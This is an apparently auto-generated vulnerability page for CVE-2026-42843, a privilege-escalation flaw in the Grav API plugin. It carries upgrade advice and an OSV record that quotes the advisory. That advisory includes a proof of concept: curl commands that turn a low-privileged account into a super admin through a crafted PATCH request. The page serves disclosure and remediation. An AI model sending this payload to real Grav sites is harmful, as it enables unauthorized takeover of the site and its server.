CVE-2026-42843: Getgrav/grav plugin api Grav API Privilege Escalation To Vulnerability
HIGHCVE-2026-42843 is a HIGH (CVSS 8.8) grav api privilege escalation to vulnerability (CWE-863: Incorrect Authorization) affecting Getgrav/grav plugin api libraries in the Packagist ecosystem. The issue involves grav api privilege escalation to super admin. Remediation is available by upgrading affected packages to version 1.0.0-beta.15.
CVE-2026-42843 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2026-42843
To remediate this vulnerability, upgrade all affected Getgrav/grav plugin api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade getgrav/grav-plugin-api to 1.0.0-beta.15
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for getgrav/grav-plugin-api
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-42843, inspect your project dependencies for Getgrav/grav plugin api:
inspect dependencies for getgrav/grav-plugin-api
Analyze the terminal output to locate any version of Getgrav/grav plugin api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.0.0-beta.15), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Getgrav/grav plugin api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-42843 Affected Getgrav/grav plugin api Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
getgrav/grav-plugin-api
|
Packagist |
< 1.0.0-beta.15
|
1.0.0-beta.15
|
References
Frequently Asked Questions
What is CVE-2026-42843?
Which Getgrav/grav plugin api versions are affected?
What version fixes CVE-2026-42843?
Is getgrav/grav-plugin-api affected?
What is the CVSS score of CVE-2026-42843?
What CWE is associated with CVE-2026-42843?
How can I check Packagist dependencies for CVE-2026-42843?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r945-h4vm-h736",
"modified" : "2026-05-13T14:04:22Z",
"published" : "2026-05-05T21:20:03Z",
"aliases" : [ "CVE-2026-42843" ],
"summary" : "Grav API Privilege Escalation to Super Admin",
"details" : "### Summary\n\nAn insecure direct object reference and logic flaw in the Grav API plugin (`UsersController::update`) allows any authenticated user with basic API access (`api.access`) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (`admin.super` and `api.super`), leading to full system compromise and potential RCE.\n\n### Details\n\nThe vulnerability is located in `user/plugins/api/classes/Api/Controllers/UsersController.php` within the `update` method.\n\nThe API allows users to update their own profiles if they possess the basic `api.access` permission:\n\n```php\n// UsersController.php -> update()\n$isSelf = $currentUser->username === $username;\nif (!$isSelf) {\n $this->requirePermission($request, 'api.users.write');\n} else {\n // Self-edit only requires api.access\n $this->requirePermission($request, 'api.access');\n}\n```\n\nHowever, when filtering the fields that are allowed to be updated via a `PATCH` request, the `access` field (which defines the user's role and permissions) is indiscriminately included in the `$allowedFields` whitelist for all users:\n\n```php\n// Partial update - only update provided fields\n$allowedFields = ['email', 'fullname', 'title', 'state', 'language', 'content_editor', 'access', 'twofa_enabled'];\nforeach ($allowedFields as $field) {\n if (array_key_exists($field, $body)) {\n $user->set($field, $body[$field]);\n }\n}\n```\n\nBecause there is no secondary check to verify if the user attempting to modify the `access` field is already an administrator, any low-privileged user can overwrite their own `access` object with a malicious payload granting themselves `super: true`.\n\n### PoC\n\n1. **Prerequisites**: You need a low-privileged user account (eg. `user1`) that possesses the basic `api.access` permission.\n\n2. **Obtain JWT**: Authenticate to the API to obtain your `access_token`:\n\n ```bash\n curl -X POST http://<target>/api/v1/auth/token \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"user1\",\"password\":\"your_password\"}'\n ```\n\n3. **Exploit**: Send a `PATCH` request to the user update endpoint. \n\n ```bash\n curl -X PATCH http://<target>/api/v1/users/user1 \\\n -H \"X-API-Token: <your_access_token>\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\\\"access\\\":{\\\"admin\\\":{\\\"login\\\":true,\\\"super\\\":true},\\\"api\\\":{\\\"access\\\":true,\\\"super\\\":true},\\\"site\\\":{\\\"login\\\":true}}}\"\n ```\n\n4. **Verification**: Log in to the Grav Admin panel using the user credentials. You will now have full Super Administrator privileges.\n\n### Impact\n\nThis is a vertical Privilege Escalation vulnerability. Any user with baseline API access can elevate themselves to Super Admin. Once Super Admin privileges are obtained, the attacker takes complete control over the CMS. They can modify content, alter configurations, upload malicious plugins, or edit Twig templates outside of the sandbox to achieve RCE on the server.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "getgrav/grav-plugin-api"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.0.0-beta.15"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav/security/advisories/GHSA-r945-h4vm-h736"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42843"
}, {
"type" : "WEB",
"url" : "https://github.com/getgrav/grav-plugin-api/commit/26f529c7d438c73343e82311fb095caeaf1a6116"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/getgrav/grav"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-863" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-05T21:20:03Z",
"nvd_published_at" : "2026-05-11T17:16:34Z"
}
}